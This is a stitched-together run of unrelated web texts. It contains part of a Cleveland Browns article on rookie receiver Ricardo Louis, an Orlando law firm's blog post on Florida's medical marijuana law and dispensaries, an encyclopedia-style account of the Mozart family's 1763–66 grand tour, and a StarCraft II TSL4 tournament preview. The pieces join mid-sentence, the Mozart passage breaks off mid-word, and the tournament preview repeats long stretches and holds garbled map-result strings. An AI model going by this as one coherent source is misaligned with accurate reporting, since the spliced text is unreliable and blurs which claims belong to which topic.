and Colorado State's Rashard Higgins with the 172nd selection. Louis said that having other draft picks at his position just means there's going to be some competition. "The receivers that came in, we were talking, we all hungry," he said. "We all want to come in and make a huge impact and word around the locker room is everybody wants to win and everybody's mindset is focus on getting better and turn this thing around, so coming in as a rookie, that's the mindset we coming in with so we're going to fit right into the mold that Hue Jackson has put in." Louis also said that each of the rookie class of receivers brings a unique skillset. "Everybody comes and brings something different to the table," he said. "Corey's definitely fast, explosive. I'm fast, explosive. Rashard is very explosive, has great hands, runs great routes. All of us have something that we bring to the table that's different and when you play in an offense that's trying to turn it around, that has the ability to get you the ball and let you do something with it, that's great." Which could be the separator for Louis -- what happens when he gets the ball. He registered 66 carries over the course of his final three seasons at Auburn, scoring twice and piling up 576 yards, an average of 8.7 yards per carry. Considering Jackson's penchant for getting his receivers the ball in different spots, there's potential for Louis to thrive. "I think that (Jackson) knows that I've done that, rushing," Louis said, "so get the ball in my hands quick as possible, I'll do something with it -- take a hitch for 80 yards or something. That's what I've been working on and hopefully that's what I'll be able to do here." Executive Vice President of Football Operations Sashi Brown called Louis a "big, fast, physical wide out, deep threat. I think he can add explosiveness to our receiving core," the night the Browns drafted him. Jackson called him "another big, tall athlete who can really run and has tremendous speed. He has vertical ability and has made a lot of big plays. We all know what his average per catch was. It was over 17 yards. He's another guy that knows how to score the ball and has a chance to do some special things because of his athleticism and his ability to get vertical really fast." So, get the ball in his hands and let things happen, right? There's just one problem. The hands. CBSsports.com Draft Analyst Dane Brugler wrote of Louis that he has "weak hands" and "too many 'almost catches' on his film." How does Louis respond to that criticism? "I'm just going to show them," Louis said. "Whatever people say, they say what they say. Everybody has their opinion, but when I go out there and make plays, what are they going to say then?" If everything works out, Louis is hoping to say he's been a part of yet another miraculous turnaround.April 20 has long been celebrated as a counterculture holiday promoting the use of cannabis, or marijuana, which remains illegal under federal and most state laws. This year, 4/20 takes on a special meaning for many Floridians who suffer from cancer, AIDS, and similar debilitating conditions. Medical marijuana is now legal in Orlando and throughout Florida. Over 30 Orlando Doctors Authorized to Recommend Cannabis Last November an overwhelming majority of Florida voters–more than 71 percent–approved Amendment 2, an initiative that added a new section to the state constitution. The new Article X, Section 29 states the “medical use of marijuana by a qualifying patient or caregiver in compliance with this section is not subject to criminal or civil liability or sanctions under Florida law.” To be clear, Florida has not legalized the recreational use of marijuana. Rather, a licensed physician or a caregiver authorized by the Florida Department of Health may administer marijuana to individuals who suffer from certain conditions, including glaucoma, post-traumatic stress disorder, ALS (Lou Gehrig’s disease), and Parkinson’s disease, among others. According to the Orlando Sentinel, approximately 32 Orlando-area physicians are now authorized to “recommend medical marijuana to patients.” Here’s a sample for your information: Documenting the Medical Benefits of Cannabis While legalization remains a politically contentious issue, there is a significant body scientific literature supporting the therapeutic use of marijuana, or “medical cannabis.” In fact, the National Center for Biotechnology Information (NCBI), a division of the National Institutes for Health, reports more than 25,000 peer-reviewed scientific and medical articles published that references marijuana. Most of these studies undercut the federal government’s argument that cannabis is a dangerous, addictive drug with no medical benefits. For example, a study published by the Open Neurology Journal in 2012 found that medical cannabis “can be useful in the management of neuropathic pain, spasticity due to multiple sclerosis, and possibly other indications.” These conclusions were based on clinical trials conducted by the University of California Center for Medicinal Cannabis Research. Two trials studied patients suffering from intense neuropathic pain related to their HIV-positive status. The researchers said their results “consistently indicated that cannabis significantly reduced pain intensity, with patients reporting 34-40 percent decrease on cannabis compared to 17-20 percent on placebo.” Roughly half of the cannabis users experienced a “30 percent reduction in pain intensity,” as compared to 18-24 percent of the patients receiving placebos. A broader review, published by two European authors in 2010 looked at “37 controlled studies evaluating the therapeutic effects” of medical cannabis. Among the results: In extensive clinical trials involving multiple sclerosis (MS) patients, the authors noted there is “much anecdotal evidence suggesting that cannabis and cannabinoids have beneficial effects on disease-related pain, bladder symptoms, tremor, and particularly spasticity.” The use of cannabis–and specifically its active ingredient, a chemical compound known by the abbreviation THC–“clearly” had “beneficial effects on pain, appetite, and weight gain” of HIV-positive and AIDS patients. Since the 1970s, research has shown cannabis and THC use can “lower intraocular pressure” in glaucoma patients. Similar to AIDS patients, THC is an approved appetite stimulant for cancer patients suffering from the ill effects of chemotherapy; the authors said data suggested using THC “directly before or after chemotherapy may offer more benefit” in treating loss of appetite and nausea. Finding a Licensed Medical Marijuana Dispensary As noted above, not every doctor may recommend or prescribe medical marijuana, but once a patient obtains a doctor’s approval, medical marijuana can only be legally obtained from a dispensing organization licensed by the Department of Health. These organizations are approved to cultivate, process, and sell low-THC and medicinal cannabis for qualified patients. There are presently at least three such dispensing organizations approved for operation in or near Orlando: Knox Medical – Located in Winter Garden, Knox Medical is the only dispensary actually in Orange County. The business is an extension of Knox Nursery, a 23-acre facility currently owned by Cansortium Holdings LLC, a Miami-based investment firm that focuses on developing professional cannabis markets. GrowHealthy – Based in Polk County, GrowHealthy recently opened a 187,000-square foot medical marijuana production facility in a former mattress warehouse in Lake Wales. The company’s CEO, a former IBM executive, said he expected the firm would “eventually produce enough medicine to supply half a million patients.” Surterra Therapeutics – Based in Hillsborough County, Surterra advertises the “purity and quality” of its “natural” cannabis and a statewide delivery program. Can Cannabis Help Curtail Florida’s Opioid Epidemic? Like many states, Florida is dealing with a major public health crisis related to the abuse of opioids. Many good people become addicted to prescription painkillers every day and eventually die as the result of an overdose. The legalization of medical marijuana in Florida may provide many opioid addicts (and potential addicts) with a safe alternative. In 2014, the Journal of the American Medical Association published a study produced by a team of investigators from three major medical and public health schools. The investigators looked at 13 states that had legalized medicinal cannabis prior to 2010. In these states there was a “24.8 percent lower mean annual opioid overdose mortality rate compared with states without medical cannabis laws.” On average, opioid overdoses decreased by 20 percent in the first year after marijuana was legally available; after six years overdoses were down 33 percent. While the study cautioned did not conclusively establish a causal link between legal medicinal cannabis and fewer overdose deaths, one of the authors told USA Today, “We can speculate … that people are completely switching or perhaps supplementing, which allows them to lower the dosage of their prescription opioid.” Medical Marijuana’s Legal Status Remains Unsettled Despite Florida voters’ embrace of medicinal marijuana last November, many legal challenges remain. State legislators and Department of Health officials are still finalizing regulations. And as long as marijuana remains illegal under federal law, many Florida physicians are still reluctant to recommend it to their patients. If you have questions or concerns about the laws regarding medical marijuana and would like to speak with an experienced Orlando drug crimes attorney, call the offices of Moses & Rooth, Attorneys at Law, at 407-377-0150.Map showing the Grand Tour, 1763–66. Black line shows outward journey to London, 1763–64. Red line shows homeward journey to Salzburg, 1765–66. Occluded line shows travel in each direction. The Mozart family grand tour was a journey through western Europe, undertaken by Leopold Mozart, his wife Anna Maria, and their musically gifted children Maria Anna (Nannerl) and Wolfgang Amadeus from 1763 to 1766. At the start of the tour the children were aged eleven and seven respectively. Their extraordinary skills had been demonstrated during a visit to Vienna in 1762, when they had played before the Empress Maria Theresa at the Imperial Court. Sensing the social and pecuniary opportunities that might accrue from a prolonged trip embracing the capitals and main cultural centres of Europe, Leopold obtained an extended leave of absence from his post as deputy Kapellmeister to the Prince-Archbishopric of Salzburg. Throughout the subsequent tour, the children's Wunderkind status was confirmed as their precocious performances consistently amazed and gratified their audiences. The first stage of the tour's itinerary took the family, via Munich and Frankfurt, to Brussels and then on to Paris where they stayed for five months. They then departed for London, where during a stay of more than a year Wolfgang made the acquaintance of some of the leading musicians of the day, heard much music, and composed his first symphonies. The family then moved on to the Netherlands, where the schedule of performances was interrupted by the illnesses of both children, although Wolfgang continued to compose prolifically. The homeward phase incorporated a second stop in Paris and a trip through Switzerland, before the family's return to Salzburg in November 1766. The material rewards of the tour, though reportedly substantial, did not transform the family's lifestyle, and Leopold continued in the Prince-Archbishop's service. However, the journey enabled the children to experience to the full the cosmopolitan musical world, and gave them an outstanding education. In Wolfgang's case this would continue through further journeys in the following six years, prior to his appointment by the Prince-Archbishop as a court musician. Child prodigies [ edit ] The Mozart children were not alone as 18th-century music prodigies. Education writer Gary Spruce refers to hundreds of similar cases, and cites that of William Crotch of Norwich who in 1778, at the age of three, was giving organ recitals.[1] British scholar Jane O'Connor explains the 18th century fascination with prodigies as "the realisation of the potential entertainment and fiscal value of an individual child who was in some way extraordinary".[2] Other childhood contemporaries of Mozart included the violinist and composer Thomas Linley, born the same year as Wolfgang, and the organist prodigy Joseph Siegmund Bachmann.[3][4] Mozart eventually became recognised among prodigies as the future standard for early success and promise.[5] Of seven children born to Leopold and Anna Maria Mozart, only the fourth, Maria Anna (Nannerl), born 31 July 1751, and the youngest, Wolfgang Amadeus, born 27 January 1756, survived infancy.[6] The children were educated at home, under Leopold's guidance, learning basic skills in reading, writing, drawing and arithmetic, together with some history and geography.[7] Their musical education was aided by exposure to the constant rehearsing and playing of Leopold and his fellow musicians.[7] When Nannerl was seven her father began to teach her to play the harpsichord, with Wolfgang looking on; according to Nannerl's own account "the boy immediately showed his extraordinary, God-given talent. He often spent long periods at the clavier, picking out thirds, and his pleasure showed that they sounded good to him... When he was five years old he was composing little pieces which he would play to his father who would write them down".[8] A family friend, the poet Johann Andreas Schachtner, recounted that at the age of four Wolfgang began to compose a recognisable piano concerto, and was able to demonstrate a phenomenal sense of pitch.[7] Nannerl herself was an apt pupil, no less quick to learn than her brother, and was playing the keyboard with striking virtuosity by the time she was eleven.[9] In that year, 1762, Leopold brought the children to Munich to play before Maximilian III Joseph, Elector of Bavaria.[10] Leopold then took the entire family to Vienna, on a trip that lasted for three months.[11] He had secured invitations from several noble patrons, and within three days of arriving the children were playing at the palace of Count Collalto. Among those present was the Viennese Treasury councillor and future prime minister Karl von Zinzendorf, who noted in his diary that "a little boy, said to be only five-and-a-half years old [Wolfgang was actually nearly seven], played the harpsichord".[11] After an appearance before the Imperial Vice-Chancellor, the Mozarts were invited to the royal court, where the Empress Maria Theresa tested Wolfgang's abilities by requiring him to play with the keyboard covered.[11] During this court visit Wolfgang met the Archduchess Maria Antonia, the future Queen Marie Antoinette of France, who was two months his senior. Mozart's biographer Eric Blom recounts an anecdote of how the Archduchess helped Wolfgang when he slipped on the polished floor; she is supposed to have received a proposal of marriage in return.[12] As the Mozarts began to be noticed by the Viennese aristocracy, they were often required to give several performances during a single day.[11] They were well rewarded for this activity—at the end of their first hectic week in Vienna, Leopold was able to send home the equivalent of more than two years' salary.[13] Their schedule was interrupted when Wolfgang fell ill with scarlet fever, and their former momentum was not regained. Nevertheless, the visit left Leopold eager to pursue further opportunities for social and financial success.[13] On their return to Salzburg, Wolfgang played the harpsichord and violin at a birthday concert for the archbishop, to the evident astonishment of those present.[14] Grand tour [ edit ] Preparations [ edit ] In a letter to his friend and landlord Johann Lorenz Hagenauer (1712–1792), a prominent Salzburg merchant, written after the tour, Leopold quotes the German diplomat Friedrich Melchior, Baron von Grimm, who after hearing the children play had said: "Now for once in my life I have seen a miracle: this is the first".[15] Leopold believed that it was his duty to proclaim this miracle to the world, otherwise he would be "the most ungrateful creature".[15] He was said to have described Wolfgang as "The miracle which God let be born in Salzburg."[16] Mozart biographer Wolfgang Hildesheimer has suggested that, at least in the case of Wolfgang, this venture was premature: "Too soon, [the] father dragged [the] son all over Western Europe for years. This continual change of scene would have worn out even a robust child..."[17] However, there is little evidence to suggest that Wolfgang was physically harmed or musically hindered by these childhood exertions; it seems that he felt equal to the challenge from the start.[18] Leopold wanted to begin the tour as soon as possible—the younger the children were, the more spectacular would be the demonstration of their gifts.[15] The route he intended to take included southern Germany, the Austrian Netherlands, Paris, Switzerland and possibly northern Italy. The London leg was only added after urgings during the Paris visit, and the eventual Dutch trip was an unplanned detour.[15][19] The plan was to take in as many princely European courts as possible, as well as the great cultural capitals—Leopold was relying on his professional musical network and on his more recent social contacts to obtain invitations from the royal courts. Practical assistance came from Hagenauer, whose trading connections in the major cities would supply the Mozarts with what were effectively banking facilities.[13] These would enable them to obtain money en route, while waiting for the proceeds from their performances to accumulate.[20] Wolfgang prepared for the tour by perfecting himself on the violin, which he had learned to play apparently without any tutelage whatsoever.[21] As for more general preparation, the children delighted in making music together, something they never lost.[22] On tour, even during the busiest travelling days they would fit in their daily practice, appearing to thrive on the hectic schedule.[23] Before the journey could begin, Leopold needed the consent of his employer, the prince-archbishop. Leopold had only been appointed deputy Kapellmeister in January 1763; nevertheless the archbishop's consent to an extended leave of absence was granted, on the grounds that the Mozarts' successes would bring glory to Salzburg, its ruler, and to God.[15] Early stages (July–November 1763) [ edit ] W. A. Mozart in 1763, aged seven, at the start of the Grand Tour, wearing livery presented by the Empress Maria Theresa the previous winter The journey's beginning, on 9 July 1763, was inauspicious; on the first day a carriage wheel broke, requiring a 24-hour pause while repairs were carried out. Leopold turned this delay to advantage by taking Wolfgang to the nearby church at Wasserburg, where according to Leopold the boy played on the organ pedalboard as if he had been studying it for months.[24] In Munich, on successive evenings, the children played before Elector Maximilian III, earning from these engagements the equivalent of half of Leopold's annual salary of 354 gulden or florins.[25][26][27] The next stop was Augsburg, where Leopold's estranged mother refused to attend any of the three concerts given there.[28] The family then moved on to Schwetzingen and the Mannheim court, where the children's performance apparently amazed Elector Palatine Karl Theodor and his Electress.[26] The next extended stop was at Mainz. The Elector was ill, but the Mozarts gave three concerts in the town, which brought in 200 gulden.[29] From Mainz the family took the market boat up the River Main to Frankfurt, where several public concerts were given. Among those present at the first of these was the fourteen-year-old Johann Wolfgang von Goethe, who would many years later recall "the little fellow with his wig and his sword".[26] An advertisement for these concerts announced that "the girl" would play "the most difficult pieces by the greatest masters", while "the boy" would play a concerto on the violin and also repeat his Vienna trick of playing with the keyboard completely covered by a cloth. Finally, "he will improvise out of his head, not only on the fortepiano but also on the organ...in all the keys, even the most difficult, that he may be asked".[26] The family proceeded by riverboat to Koblenz, Bonn and Cologne. Turning west they reached Aachen, where a performance was given before Princess Anna Amalia of Prussia, the sister of Frederick the Great.[14] The princess tried to persuade Leopold to abandon his itinerary and go to Berlin, but Leopold resisted. "She has no money", he wrote to Hagenauer, recounting that she had repaid the performance with kisses. "Howbeit, neither mine host nor the postmaster are to be contented with kisses."[30] They proceeded into the Austrian Netherlands, an area corresponding roughly to present-day Belgium and Luxembourg,[31] where they arrived in the regional capital, Brussels, on 5 October. After several weeks' waiting for the governor-general, Prince Charles of Lorraine, to summon them ("His highness the prince does nothing but hunt, gobble and swill", wrote Leopold to Hagenauer),[30] the Mozarts gave a grand concert in the prince's presence on 7 November. On the 15th the family departed for Paris.[26] During the hiatus in Brussels, Wolfgang turned his attention briefly from performing to composing. On 14 October he finished an Allegro for harpsichord, which would later be incorporated into the C major sonata, K. 6, which he completed in Paris.[26] Paris (November 1763 – April 1764) [ edit ] On 18 November 1763 the Mozart family arrived in Paris, one of the most important musical centres of Europe, and also a city of great power, wealth, and intellectual activity.[32] Leopold hoped to be received by the court of Louis XV at nearby Versailles. However, a recent death in the royal family prevented any immediate invitation, so Leopold arranged other engagements.[32] One person who took particular note of the children was the German diplomat Friedrich Melchior von Grimm, whose journal records Wolfgang's feats in glowing terms: "the most consummate Kapellmeister could not be more profound in the science of harmony and modulation".[32] Leopold's own assessment, written a few months later, was similarly effusive: "My little girl, although only 12 years old, is one of the most skilful players in Europe and, in a word, my boy knows more in his eighth year than one would expect for a man of forty".[33][34] On 24 December the family moved to Versailles for two weeks during which, through a court connection, they were able to attend a royal dinner, where Wolfgang was reportedly allowed to kiss the hand of the Queen.[32] At Versailles they also visited the famous courtesan Madame de Pompadour, then in the last months of her life—"an extremely haughty woman who still ruled over everything", according to Leopold.[35] In Nannerl's later recollections, Wolfgang was made to stand on a chair to be examined by the Madame, who would not allow him to kiss her.[36] There is no record of the children giving a formal concert at Versailles. In February 1764 they were given 50 louis d'or (about 550 florins) and a gold snuff-box by the royal entertainments office, presumably for entertaining the royal family privately, but no more details are available.[32] Further concerts were given in Paris on 10 March and on 9 April, at a private theatre in the rue et Porte St Honoré.[32] At the same time Wolfgang's first published works were printed: two pairs of sonatas for harpsichord and violin, K. 6 and 7, and K. 8 and 9. These pairs became Opus 1 and Opus 2 in Leopold's private catalogue of his son's work.[33] The first pair was dedicated to the king's daughter, Madame Victoire de France, the second to the Countess of Tessé. Mozart biographer Stanley Sadie comments that some aspects of these pieces are rather childish and naïve, but that nevertheless their technique is "astonishingly sure, their line of thinking is clear and smooth, and their formal balance is beyond reproach".[37] A decision was taken in Paris to go to London, perhaps on the advice of Leopold's musical and court acquaintances, who would probably have advised him that England was, in the words of the Mozart scholar Neal Zaslaw, "known for the enthusiasm with which it received continental musicians and the extravagance with which it rewarded them".[38] On 10 April the family left for Calais and after an unpleasant crossing to Dover on a hired boat, and some delays, arrived in London on 23 April.[39] London (April 1764 – July 1765) [ edit ] Cecil Court, the street in which the Mozart family found lodgings on arriving in London, April 1764 (2005 photograph) The Mozarts' first London lodgings were above a barber's shop in Cecil Court, near St Martin-in-the-Fields. Letters of introduction from Paris proved effective; on 27 April 1764, four days after their arrival, the children were playing before King George III and his 19-year-old German queen, Charlotte Sophia.[40] A second royal engagement was fixed for 19 May,[41] at which Wolfgang was asked by the king to play pieces by Handel, Johann Christian Bach and Carl Friedrich Abel. He was allowed to accompany the queen as she sang an aria, and he later improvised on the bass part of a Handel aria from which, according to Leopold, he produced "the most beautiful melody in such a manner that everyone was astonished".[40][42] Many of the nobility and gentry were leaving town for the summer, but Leopold reckoned that most would return for the king's birthday celebrations on 4 June, and accordingly organised a concert for the 5th.[43] This was deemed a success, and Leopold hastened to arrange for Wolfgang to appear at a benefit concert for a maternity hospital on 29 June, at Ranelagh Pleasure Gardens. Leopold apparently saw this effort to support charitable works as "a way to earn the love of this very special nation".[43] Wolfgang was advertised as "the celebrated and astonishing Master Mozart, a Child of Seven Years of Age..." (he was in fact eight), "justly esteemed the most extraordinary Prodigy, and most amazing Genius, that has appeared in any Age".[44] On 8 July there was a private performance at the Grosvenor Square home of the Earl of Thanet, from which Leopold returned with an inflammation of the throat and other worrying symptoms.[43] "Prepare your heart to hear one of the saddest events", he wrote to Hagenauer in anticipation of his own imminent demise.[45] He was ill for several weeks, and for the sake of his health the family moved from their Cecil Court lodgings to a house in the countryside, at 180 Ebury Street, then considered part of the village of Chelsea.[46] During Leopold's illness performances were impossible, so Wolfgang turned to composition. According to the writer and musician Jane Glover, Wolfgang was inspired to write symphonies after meeting Johann Christian Bach.[46] It is not clear when this meeting occurred, or when Wolfgang first heard J. C. Bach's symphonies, although he had played the older composer's harpsichord works in his May 1764 royal recital.[47] Wolfgang soon completed his Symphony No. 1 in E flat, K. 16, and started his No. 4 in D major, K. 19 (which Zaslaw concludes was more likely composed, or at least completed, in The Hague).[48][49] The D major symphony has, in Hildesheimer's words, "an originality of melody and modulation which goes beyond the routine methods of his [grown-up] contemporaries".[50] These are Wolfgang's first orchestral writings, although Zaslaw hypothesises a theoretical "Symphony No. 0" from sketches in Wolfgang's musical notebook.[51] Three lost symphonies, identified in the Köchel catalogue of Mozart's works only by their incipits (first few bars of music), may also have originated from the London period.[34] Other works composed by Wolfgang in London include several instrumental sonatas, the jewel of which, according to Hildesheimer, is the C major sonata for piano, four hands, K. 19d.[52] A set of violin sonatas, with extra flute and cello parts, was dedicated to Queen Charlotte at her request, and presented to her with an appropriate inscription in January 1765.[53] Wolfgang also wrote his first vocal works, the motet "God is our Refuge", K. 20, and the tenor aria Va, dal furor portata, K. 21.[54] At the end of September, with Leopold's recovery, the family moved back to central London, to lodgings in Thrift Street (later 20 Frith Street), Soho. These lodgings were located conveniently close to several concert rooms, and to the residences of both J. C. Bach and Carl Friedrich Abel. Bach, a son of Johann Sebastian Bach, soon became a family friend; Nannerl later recalled Bach and the eight-year-old Wolfgang playing a sonata together, taking turns to play a few bars individually, and that "anyone not watching would have thought it was played by one person alone".[55] There is no record that the Mozarts met Abel, but Wolfgang knew his symphonies, perhaps through the medium of the annual Bach-Abel concert series, and was much influenced by them.[56] On 25 October, at King George's invitation, the children played at the celebrations marking the fourth anniversary of the king's accession.[57] Their next public appearance was a concert on 21 February 1765, before a moderate audience—the date clashed with a Bach-Abel concert. Only one more London concert was given, on 13 May, but between April and June members of the public could go to the Moz
chance at making huge waves in the first round. However, TSL4 starts with best of five in the Ro32, and it's going to be even harder for the underdogs to score upsets. Curious 3 – 1 LaLush K3ǂVortiX vs FXO.BabyKnight < Cloud Kingdom > FXO.EU.BabyKnight < Entombed Valley > FXO.EU.BabyKnight < Daybreak > FXO.EU.BabyKnight < Antiga Shipyard > FXO.EU.BabyKnight < Cloud Kingdom > FXO.EU.BabyKnight < Cloud Kingdom >< Entombed Valley >< Daybreak >< Antiga Shipyard >< Cloud Kingdom > There's a glass half empty and a glass half full way of looking at this match-up. One one hand, it's a shame that these two rapidly rising Europeans, who have both held one of the top two places on the EU ladder for the past week, will have to play each other in the opening round. On the positive side, the match-up guarantees that one will survive, and proceed on, presumably to cause some serious damage. BabyKnight is the points qualifier here, achieving the second highest total with an impressive run of top finishes, including one in the finals. He formerly was a formidable DotA player, but switched to SC2 and struggled to distinguish himself for a while. Recently however, he has hit his stride in a huge way. There is a difference between players who can reach the top 30 of the ladder if they try, and players who can reach the top position at will. In the last few months, BabyKnight has made that transition, and his TSL4 qualification and pick-up by FXO are proof of his emerging skill. Unfortunately for BabyKnight, PvZ is his most vulnerable match-up. You can bet that Dane would have enjoyed the match-up against MC that awaited his countryman, Ciara in TSL3. BabyKnight's blink PvP, with its never ending harassment is one of the finest things we saw in the qualifiers. But in PvZ, BabyKnight hasn't had as much success with his desire to harass and micro against overwhelming odds. He's favored gateway heavy timings and storm/blink play in the past, and the key in this series will be making sure his army doesn't die as he's pushing in the mid-game. Meanwhile, VortiX has usually been known as LucifroN's brother. (Did you know he's LucifroN's brother?) But at this point, it's well past time we started referring to VortiX as his own person. In fact, it might not be so long until we refer to LucifroN as VortiX's brother. The Spaniard has, like his opponent, gone from being unknown internationally, to being one of the most feared up and comers in the foreign scene. His TLOpen win, 3-0 over Golden and his all-kill of Empire in the IPL TAC3 shortly thereafter made up one of the more impressive weeks we've seen recently. But just from a sentimental perspective, VortiX is exactly the kind of player on paper — actually, BK too — that everyone is looking for when they talk about the TSL and the 'next ThorZaIN'. Not well known outside of Spain before this tournament, he could use TSL4 to prove that he's ready for the world stage. VortiX's ZvP is his strongest match-up statistically, and his 3-5 loss to Squirtle in the IPL Fight Club shows his abilities. His style has traditionally been heavy lair with very frequent mutalisk play, or else roach ling multi-pronged aggression. It's fast and mechanically demanding to execute and to defend. The key with VortiX and BabyKnight will be how the Protoss will deal with the Zerg aggression. Whether BK's micro and multi-task on defense will be enough to bring him to the late game and whether VortiX can keep BabyKnight's deadly timed attacks from killing him, to even allow the midgame to develop in the first place. It'll be a fascinating back and forth to watch. I love both of these players, and both have bright futures. Unfortunately, only one can advance, and VortiX has the edge here in playing his top match-up. VortiX 3 – 1 BabyKnight Liquid`Ret vs ST_Squirtle Liquid`Ret < Metropolis > ST_Squirtle Liquid`Ret < Antiga Shipyard > ST_Squirtle Liquid`Ret < Cloud Kingdom > ST_Squirtle Liquid`Ret < Ohana > ST_Squirtle Liquid`Ret < Metropolis > ST_Squirtle < Metropolis >< Antiga Shipyard >< Cloud Kingdom >< Ohana >< Metropolis > No seeding system is perfect, and we kick off the first round of TSL4 with a blockbuster foreigner vs. Korean that one would normally expect to see far deeper in the tournament. In one corner we have Ret, a player who has long been considered to be among the best non-Korean players in the world, but has rarely-if-ever been in the running to be THE best. Squirtle has recently entered a similar situation on his side of the pond. His run from the open bracket to the silver medal at IPL4, alongside a near perfect GSL Season Two run before falling to Mvp in the finals, have confirmed him as a top Protoss player in most eyes. But without an actual championship, it has been hard for him to be mentioned in the same breath as names such as MarineKing, DongRaeGu, or MC. For Ret and Squirtle, every tournament is an opportunity to try and prove that there are none others above them. Ret and Squirtle met once before at the Red Bull Battlegrounds in Austin. It was only a short, three game series, but it was a microcosm of each players' strengths and weaknesses in the Zerg vs Protoss match-up. Squirtle lived up to his reputation as a near textbook tournament player, mixing up semi all-in play and macro builds to stay unpredictable. In turn, Ret showed that he could play the lair phase as well as any Korean, never looking behind until the game entered the hive phase. There, his most notable weaknesses came to light, as his mismanagement of brood lord armies combined with his mortal enemy, the warp-prism, cost him the series. Though some time has passed since that series, it doesn't seem like any player has significantly changed his game. In the most recent tournaments of note, Squirtle continued to look slightly featureless, but still very solid and strong in a very textbook way in the GSL, while Ret continued to stomp out two base all-ins and lose his greater spire to warp-ins at NASL. This is a match-up where Ret will play his reactionary Zerg style, while it will be up to Squirtle to shape the series with his choice of strategies. Squirtle's dogged adherence to variety for its own sake might hurt him could hurt him here, as one of Ret's greatest strengths is his ability to deflect all but the most well-executed all-ins. Instead of risking defeat like Puzzle, who lost all three of his NASL games to Ret after a failed two base attack, the best approach for Squirtle would be to play long games where both players get high tech units. Squirtle 3 – 1 Ret Learn more at TwitchTV is the world’s largest video game entertainment and chat community. TwitchTV features the top gaming personalities, players, tournaments and commentary, in addition to the most active and interesting discussions around video games. TwitchTV provides publishers and advertisers a platform to create long term engagement and commitment from gamers.Learn more at www.twitch.tv For more information, please visit Razer has been a pioneering supporter of e-Sports since its conception. It is in our blood and we are driven to further the culture of professional gaming in all that we do. We work hand in hand with our pros to forge weaponry for the players who stake their livelihood on podium placements. Our gear is designed to perform flawlessly in high-stress tournament conditions where winning is everything and mistakes cost championships. Those who compete with our equipment will attest – We live by our words: For Gamers. By Gamers.For more information, please visit www.razerzone.com Sponsors: Art by: A few short hours away from opening, TSL4 looks to be the most impressive iteration of the this tournament yet. The first day contains eight of the strongest players in any tournament, from a rising Spanish star to a GSL silver-medalist. The day will kick off with TSL2 participant Major fighting his friend and seasoned BW vet TSL_HyuN, followed by ST_Curious vs Mill.LaLush and then K3.VortiX vs FXOBabyKnight. The day will end with ST_Squirtle vs Liquid`Ret, a rematch from Red Bull Battlegrounds just months ago.The lone TvZ of the Ro32, MajOr vs HyuN is a battle of good friends, practice partners, and to some extent; a clash of elephants.HyuN, a remarkably uninteresting BW pro, became the latest in a string of BW A-teamers who didn't immediately achieve stardom in SC2. But after the initial hype faded, it turned out that HyuN had been improving steadily and enters TSL4 as one of the most intriguing players. There's no doubt that HyuN is a'scary' player; one whom you'd rather not be paired against. But in the same breath, it seems fair to say that HyuN isn't quite there yet. He feels like a player who is always able to upset a few favorites but never to be the favorite themselves. Known for his tremendous lair-tech play and aggression, HyuN has become notable for his poor hive transitions and control. His ZvP and ZvZ have seemed brilliant, his ZvT weak. Which HyuN will we see in the TSL? It's hard to tell.Quite interestingly, HyuN's best successes — at least until this most recent GSL Code A — have come online in foreign tournaments. Along with his teammate RevivaL, HyuN is the terror of Playhem Dailies, having racked up$1700, in both Playhem NA and EU tournaments. This is definitely a point in HyuN's favor. That success online and overseas suggests that no player in the TSL is better prepared for the brand of international competition that is necessary for this type of tournament. Having shown strength in the TSL qualifiers against the might of the whole Korean scene, this could be HyuN's moment to reverse the disappointing results that he and the other non-KeSPA elephants have achieved so far, and to make the TSL his circus.MajOr stands in his way. The young Mexican player is something of an elephant in the room for other reasons. Having left x6 — and his last in a string of awful ID's — a while ago, MajOr has trained in Korea and remained teamless. Before the TSL qualifiers began, almost nobody knew where MajOr's abilities were, and almost nobody thought to care. But in two qualifiers, MajOr stomped his way to the finals each time, losing the first but making no mistake of the second. With such a dominant show in his pocket, and as the only qualifier from the Americans, MajOr's stock has risen through the roof. There's no indication that this sudden appreciation of value is a mistake. MajOrlook untouchable in his qualifiers; seeming much more of a sure thing than players like Stephano or HuK who were supposed to qualify easily. As a foreign Terran, MajOr is a curiosity for another reason. With all the top foreign Terrans, including MajOr in TSL4, this is a crucial opportunity to redeem the label.For this match, MajOr has often felt comfortable in TvZ, and even if he missed out on playing his preferred TvT here, a TvZ against a familiar opponent weak in the match-up is a good draw from him. MajOr's style is versatile; he can play both marine-tank, mech, and all kinds of early aggression. MajOr's mechanics are also superb, and will not be left behind by his Korean opponent in that department.This match could truly go either way. HyuN is the default pick here, because he has that extra 'Koreaness' that mysteriously is often decisive. But MajOr proved beyond all doubt in the qualifiers that he is an elite foreign player. He has experience in Korea, and with his opponent. And most importantly, he has seemed more at ease in TvZ than his opponent, who has a more unwieldy style. This is one of the most high skilled matches in the Ro32, and I'm going to go with the foreigner.The second match of the night is between two players who might be more widely known for their personality traits than the content of their play. First we have Curious, an icon of stoicism who never, ever changes his blank expression when he's competing in the GSL booth. Curious has mentioned that this is intentional, as he actively seeks to stop emotions from affecting his play. As for LaLush, he's known for, well, being abad mannered.While we'd love to learn more about LaLush's game, the above might be all you need to know before he drops out of this tournament. Curious has been Startale's ace Zerg for some time now, and he has a highly decorated GSL resume that includes five stints in Code S, as well as a famous undefeated run to win the Code A when it was still a full tournament. While LaLush performed admirably in the TLOpens and is a consistent presence in the small tournament scene, it's hard to think that will measure up to such a formidable Korean opponent.You might think that the match-up would even things up. Zerg vs Zerg is more upset prone than the non-mirrors, even if it's no PvP. On top of that, LaLush's best match-up is Zerg vs Zerg by far, having over a 62% win rate over his career compared to the sub 50% win rates for his non-mirrors. Unfortunately his opponent can even one up him in this department. With a 68% win rate in Korean Zerg vs Zergs, he is only trumped by players named DongRaeGu or Nestea. If this were a best of three, you might say that with some luck, and the ability to bring his A-game every single time, LaLush would have a chance at making huge waves in the first round. However, TSL4 starts with best of five in the Ro32, and it's going to be even harder for the underdogs to score upsets.There's a glass half empty and a glass half full way of looking at this match-up. One one hand, it's a shame that these two rapidly rising Europeans, who have both held one of the top two places on the EU ladder for the past week, will have to play each other in the opening round. On the positive side, the match-up guarantees that one will survive, and proceed on, presumably to cause some serious damage.BabyKnight is the points qualifier here, achieving the second highest total with an impressive run of top finishes, including one in the finals. He formerly was a formidable DotA player, but switched to SC2 and struggled to distinguish himself for a while. Recently however, he has hit his stride in a huge way. There is a difference between players who can reach the top 30 of the ladder if they try, and players who can reach the top position at will. In the last few months, BabyKnight has made that transition, and his TSL4 qualification and pick-up by FXO are proof of his emerging skill.Unfortunately for 